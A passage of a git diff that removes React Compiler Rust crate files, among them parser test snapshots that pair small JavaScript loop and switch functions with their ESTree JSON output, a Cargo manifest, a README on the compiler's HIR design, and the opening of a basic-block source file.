-                                        "range": [
-                                          109,
-                                          128
-                                        ]
-                                      }
-                                    ],
-                                    "loc": null,
-                                    "range": [
-                                      99,
-                                      136
-                                    ]
-                                  }
-                                ],
-                                "loc": null,
-                                "range": [
-                                  87,
-                                  136
-                                ]
-                              },
-                              {
-                                "type": "SwitchCase",
-                                "test": null,
-                                "consequent": [
-                                  {
-                                    "type": "BlockStatement",
-                                    "body": [
-                                      {
-                                        "type": "ReturnStatement",
-                                        "argument": {
-                                          "type": "MemberExpression",
-                                          "object": {
-                                            "type": "Identifier",
-                                            "name": "props",
-                                            "typeAnnotation": null,
-                                            "loc": null,
-                                            "range": [
-                                              169,
-                                              174
-                                            ]
-                                          },
-                                          "property": {
-                                            "type": "Identifier",
-                                            "name": "defaultValue",
-                                            "typeAnnotation": null,
-                                            "loc": null,
-                                            "range": [
-                                              175,
-                                              187
-                                            ]
-                                          },
-                                          "computed": false,
-                                          "loc": null,
-                                          "range": [
-                                            169,
-                                            187
-                                          ]
-                                        },
-                                        "loc": null,
-                                        "range": [
-                                          162,
-                                          188
-                                        ]
-                                      }
-                                    ],
-                                    "loc": null,
-                                    "range": [
-                                      152,
-                                      196
-                                    ]
-                                  }
-                                ],
-                                "loc": null,
-                                "range": [
-                                  143,
-                                  196
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              60,
-                              202
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          54,
-                          206
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        48,
-                        206
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        48,
-                        206
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    207
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  207
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              208
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                218,
-                219
-              ]
-            },
-            "loc": null,
-            "range": [
-              211,
-              220
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          222
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        222
-      ],
-      "loc": null,
-      "range": [
-        0,
-        222
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    222
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-switch-return.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-switch-return.js.snap
deleted file mode 100644
index 96203db01c7c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-switch-return.js.snap
+++ /dev/null
@@ -1,467 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/useMemo-switch-return.js
----
-Input:
-function Component(props) {
-  const x = useMemo(() => {
-    let y;
-    switch (props.switch) {
-      case "foo": {
-        return "foo";
-      }
-      case "bar": {
-        y = "bar";
-        break;
-      }
-      default: {
-        y = props.y;
-      }
-    }
-    return y;
-  });
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      47
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "VariableDeclaration",
-                            "kind": "let",
-                            "declarations": [
-                              {
-                                "type": "VariableDeclarator",
-                                "id": {
-                                  "type": "Identifier",
-                                  "name": "y",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    64,
-                                    65
-                                  ]
-                                },
-                                "init": null,
-                                "loc": null,
-                                "range": [
-                                  64,
-                                  65
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              60,
-                              66
-                            ]
-                          },
-                          {
-                            "type": "SwitchStatement",
-                            "discriminant": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  79,
-                                  84
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "switch",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  85,
-                                  91
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                79,
-                                91
-                              ]
-                            },
-                            "cases": [
-                              {
-                                "type": "SwitchCase",
-                                "test": {
-                                  "type": "StringLiteral",
-                                  "value": "foo",
-                                  "loc": null,
-                                  "range": [
-                                    106,
-                                    111
-                                  ]
-                                },
-                                "consequent": [
-                                  {
-                                    "type": "BlockStatement",
-                                    "body": [
-                                      {
-                                        "type": "ReturnStatement",
-                                        "argument": {
-                                          "type": "StringLiteral",
-                                          "value": "foo",
-                                          "loc": null,
-                                          "range": [
-                                            130,
-                                            135
-                                          ]
-                                        },
-                                        "loc": null,
-                                        "range": [
-                                          123,
-                                          136
-                                        ]
-                                      }
-                                    ],
-                                    "loc": null,
-                                    "range": [
-                                      113,
-                                      144
-                                    ]
-                                  }
-                                ],
-                                "loc": null,
-                                "range": [
-                                  101,
-                                  144
-                                ]
-                              },
-                              {
-                                "type": "SwitchCase",
-                                "test": {
-                                  "type": "StringLiteral",
-                                  "value": "bar",
-                                  "loc": null,
-                                  "range": [
-                                    156,
-                                    161
-                                  ]
-                                },
-                                "consequent": [
-                                  {
-                                    "type": "BlockStatement",
-                                    "body": [
-                                      {
-                                        "type": "ExpressionStatement",
-                                        "expression": {
-                                          "type": "AssignmentExpression",
-                                          "operator": "=",
-                                          "left": {
-                                            "type": "Identifier",
-                                            "name": "y",
-                                            "typeAnnotation": null,
-                                            "loc": null,
-                                            "range": [
-                                              173,
-                                              174
-                                            ]
-                                          },
-                                          "right": {
-                                            "type": "StringLiteral",
-                                            "value": "bar",
-                                            "loc": null,
-                                            "range": [
-                                              177,
-                                              182
-                                            ]
-                                          },
-                                          "loc": null,
-                                          "range": [
-                                            173,
-                                            182
-                                          ]
-                                        },
-                                        "directive": null,
-                                        "loc": null,
-                                        "range": [
-                                          173,
-                                          183
-                                        ]
-                                      },
-                                      {
-                                        "type": "BreakStatement",
-                                        "label": null,
-                                        "loc": null,
-                                        "range": [
-                                          192,
-                                          198
-                                        ]
-                                      }
-                                    ],
-                                    "loc": null,
-                                    "range": [
-                                      163,
-                                      206
-                                    ]
-                                  }
-                                ],
-                                "loc": null,
-                                "range": [
-                                  151,
-                                  206
-                                ]
-                              },
-                              {
-                                "type": "SwitchCase",
-                                "test": null,
-                                "consequent": [
-                                  {
-                                    "type": "BlockStatement",
-                                    "body": [
-                                      {
-                                        "type": "ExpressionStatement",
-                                        "expression": {
-                                          "type": "AssignmentExpression",
-                                          "operator": "=",
-                                          "left": {
-                                            "type": "Identifier",
-                                            "name": "y",
-                                            "typeAnnotation": null,
-                                            "loc": null,
-                                            "range": [
-                                              232,
-                                              233
-                                            ]
-                                          },
-                                          "right": {
-                                            "type": "MemberExpression",
-                                            "object": {
-                                              "type": "Identifier",
-                                              "name": "props",
-                                              "typeAnnotation": null,
-                                              "loc": null,
-                                              "range": [
-                                                236,
-                                                241
-                                              ]
-                                            },
-                                            "property": {
-                                              "type": "Identifier",
-                                              "name": "y",
-                                              "typeAnnotation": null,
-                                              "loc": null,
-                                              "range": [
-                                                242,
-                                                243
-                                              ]
-                                            },
-                                            "computed": false,
-                                            "loc": null,
-                                            "range": [
-                                              236,
-                                              243
-                                            ]
-                                          },
-                                          "loc": null,
-                                          "range": [
-                                            232,
-                                            243
-                                          ]
-                                        },
-                                        "directive": null,
-                                        "loc": null,
-                                        "range": [
-                                          232,
-                                          244
-                                        ]
-                                      }
-                                    ],
-                                    "loc": null,
-                                    "range": [
-                                      222,
-                                      252
-                                    ]
-                                  }
-                                ],
-                                "loc": null,
-                                "range": [
-                                  213,
-                                  252
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              71,
-                              258
-                            ]
-                          },
-                          {
-                            "type": "ReturnStatement",
-                            "argument": {
-                              "type": "Identifier",
-                              "name": "y",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                270,
-                                271
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              263,
-                              272
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          54,
-                          276
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        48,
-                        276
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        48,
-                        276
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    277
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  277
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              278
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                288,
-                289
-              ]
-            },
-            "loc": null,
-            "range": [
-              281,
-              290
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          292
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        292
-      ],
-      "loc": null,
-      "range": [
-        0,
-        292
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    292
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@while-break.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@while-break.js.snap
deleted file mode 100644
index bad8c4f8c64f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@while-break.js.snap
+++ /dev/null
@@ -1,138 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/while-break.js
----
-Input:
-function foo(a, b) {
-  while (a) {
-    break;
-  }
-  return b;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "WhileStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                30,
-                31
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "BreakStatement",
-                  "label": null,
-                  "loc": null,
-                  "range": [
-                    39,
-                    45
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                33,
-                49
-              ]
-            },
-            "loc": null,
-            "range": [
-              23,
-              49
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "b",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                59,
-                60
-              ]
-            },
-            "loc": null,
-            "range": [
-              52,
-              61
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          19,
-          63
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        63
-      ],
-      "loc": null,
-      "range": [
-        0,
-        63
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    63
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@while-conditional-continue.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@while-conditional-continue.js.snap
deleted file mode 100644
index 66b99033b04a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@while-conditional-continue.js.snap
+++ /dev/null
@@ -1,238 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/while-conditional-continue.js
----
-Input:
-function foo(a, b, c, d) {
-  while (a) {
-    if (b) {
-      continue;
-    }
-    c();
-    continue;
-  }
-  d();
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "d",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "WhileStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                36,
-                37
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      49,
-                      50
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ContinueStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          60,
-                          69
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      52,
-                      75
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    45,
-                    75
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "c",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        80,
-                        81
-                      ]
-                    },
-                    "arguments": [],
-                    "loc": null,
-                    "range": [
-                      80,
-                      83
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    80,
-                    84
-                  ]
-                },
-                {
-                  "type": "ContinueStatement",
-                  "label": null,
-                  "loc": null,
-                  "range": [
-                    89,
-                    98
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                39,
-                102
-              ]
-            },
-            "loc": null,
-            "range": [
-              29,
-              102
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "d",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  105,
-                  106
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                105,
-                108
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              105,
-              109
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          111
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        111
-      ],
-      "loc": null,
-      "range": [
-        0,
-        111
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    111
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@while-logical.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@while-logical.js.snap
deleted file mode 100644
index 869a3b9f0a4f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@while-logical.js.snap
+++ /dev/null
@@ -1,290 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/while-logical.js
----
-Input:
-function foo(props) {
-  let x = 0;
-  while (x > props.min && x < props.max) {
-    x *= 2;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    28,
-                    29
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    32,
-                    33
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  28,
-                  33
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              34
-            ]
-          },
-          {
-            "type": "WhileStatement",
-            "test": {
-              "type": "LogicalExpression",
-              "operator": "&&",
-              "left": {
-                "type": "BinaryExpression",
-                "left": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    44,
-                    45
-                  ]
-                },
-                "operator": ">",
-                "right": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      48,
-                      53
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "min",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      54,
-                      57
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    48,
-                    57
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  44,
-                  57
-                ]
-              },
-              "right": {
-                "type": "BinaryExpression",
-                "left": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    61,
-                    62
-                  ]
-                },
-                "operator": "<",
-                "right": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      65,
-                      70
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "max",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      71,
-                      74
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    65,
-                    74
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  61,
-                  74
-                ]
-              },
-              "loc": null,
-              "range": [
-                44,
-                74
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "*=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        82,
-                        83
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 2.0,
-                      "loc": null,
-                      "range": [
-                        87,
-                        88
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      82,
-                      88
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    82,
-                    89
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                76,
-                93
-              ]
-            },
-            "loc": null,
-            "range": [
-              37,
-              93
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                103,
-                104
-              ]
-            },
-            "loc": null,
-            "range": [
-              96,
-              105
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          107
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        107
-      ],
-      "loc": null,
-      "range": [
-        0,
-        107
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    107
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@while-property.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@while-property.js.snap
deleted file mode 100644
index 185d5e88755b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@while-property.js.snap
+++ /dev/null
@@ -1,244 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/while-property.js
----
-Input:
-function foo(a, b) {
-  let x = 0;
-  while (a.b.c) {
-    x += b;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    31,
-                    32
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  27,
-                  32
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              23,
-              33
-            ]
-          },
-          {
-            "type": "WhileStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    43,
-                    44
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    45,
-                    46
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  43,
-                  46
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "c",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  47,
-                  48
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                43,
-                48
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "+=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        56,
-                        57
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        61,
-                        62
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      56,
-                      62
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    56,
-                    63
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                50,
-                67
-              ]
-            },
-            "loc": null,
-            "range": [
-              36,
-              67
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                77,
-                78
-              ]
-            },
-            "loc": null,
-            "range": [
-              70,
-              79
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          19,
-          81
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        81
-      ],
-      "loc": null,
-      "range": [
-        0,
-        81
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    81
-  ]
-}
diff --git a/compiler/crates/react_hir/Cargo.toml b/compiler/crates/react_hir/Cargo.toml
deleted file mode 100644
index f500d4f7f512..000000000000
--- a/compiler/crates/react_hir/Cargo.toml
+++ /dev/null
@@ -1,22 +0,0 @@
-[package]
-name = "react_hir"
-version = "0.1.0"
-publish               = false
-authors.workspace     = true
-description.workspace = true
-edition.workspace     = true
-homepage.workspace    = true
-keywords.workspace    = true
-license.workspace     = true
-repository.workspace  = true
-
-# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
-
-[dependencies]
-react_estree = { workspace = true }
-indexmap = { workspace = true }
-serde = { workspace = true }
-react_utils = { workspace = true }
-react_diagnostics = { workspace = true }
-react_semantic_analysis = { workspace = true }
-thiserror = { workspace = true }
diff --git a/compiler/crates/react_hir/README.md b/compiler/crates/react_hir/README.md
deleted file mode 100644
index 7302ce56881a..000000000000
--- a/compiler/crates/react_hir/README.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# HIR
-
-This crate defines the High-level Intermediate Representation (HIR) used by React Compiler. 
-
-While the name is inspired by Rust Compiler's HIR, React Compiler's HIR is actually quite different.
-Rust's HIR is effectively a compact AST, effectively a slightly more canonical form than the
-concrete syntax tree produced by the parser.
-
-React Compiler has two goals that are in tension:
-
-1. React Compiler needs a detailed understanding of the control-flow semantics and performs sophisticated
-   data-flow and semantic analysis, all of which benefit from more traditional control-flow graph
-   representation with flat instruction sequences.
-2. At the same time, React Compiler needs to output code in the original language, and ideally should
-   produce code that is as similar as possible (for comprehension) and compact (to avoid increasing
-   bandwidth costs and time to download). 
-
-To satisfy both goals, React Compiler's HIR uses a hybrid of a traditional intermediate representation and
-an AST:
-
-1. The HIR is a control-flow graph, with one or more basic blocks each of which contains zero or more
-   instructions and a terminal node. The blocks are stored in reverse postorder so that compiler passes
-   can iterate the graph and always visit all predecessor blocks before successors, except in the 
-   presence of loops. This allows many passes to complete in a single pass and eases data flow analysis.
-2. Unlike a typical intermediate representation, the HIR uses a rich set of high-level terminal nodes.
-   Rather than just a list of successors, for example, the terminal type is an enum of variants such as
-   "if", "for", "for-of", "do-while", and other types to represent expression-level control flow in
-   JavaScript, such as "ternary", "logical", "optional", "sequence", etc. Notably, these terminals contain
-   named fields with links to successors (eg "for" has fields for the init, test, update, and body blocks)
-   but also for the "fallthrough" block, ie the block to the code that comes "after" all the logic of 
-   the terminal. This fallthrough allows React Compiler to retain the shape of the AST and recover it later in
-   compilation.
\ No newline at end of file
diff --git a/compiler/crates/react_hir/src/basic_block.rs b/compiler/crates/react_hir/src/basic_block.rs
deleted file mode 100644
index 6ee7f4cc7e6b..000000000000
--- a/compiler/crates/react_hir/src/basic_block.rs
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::fmt::Display;
-
-use indexmap::{IndexMap, IndexSet};
-
-use crate::id_types::BlockId;
-use crate::{Identifier, InstrIx, Terminal};
-
-/// Represents a sequence of instructions that will always[1] execute
-/// consecutively. Concretely, a block may have zero or more instructions
-/// and ends with a terminal node that describes where control flow may
-/// continue.
-///
-/// [1] Assuming no exceptions are thrown.
-#[derive(Debug)]
-pub struct BasicBlock {
-    /// The identifier for the block
-    pub id: BlockId,
-
-    /// What kind of block this is. Used to distinguish basic blocks that
-    /// correspond to a block scope in the input from basic blocks that
-    /// represent control flow within statements or expressions, such as
-    /// loops, logicals, ternaries, optionals, or sequences.
-    pub kind: BlockKind,
-
-    /// The ordered instructions in this block
-    pub instructions: Vec<InstrIx>,
-
-    /// The terminal instruction for the block
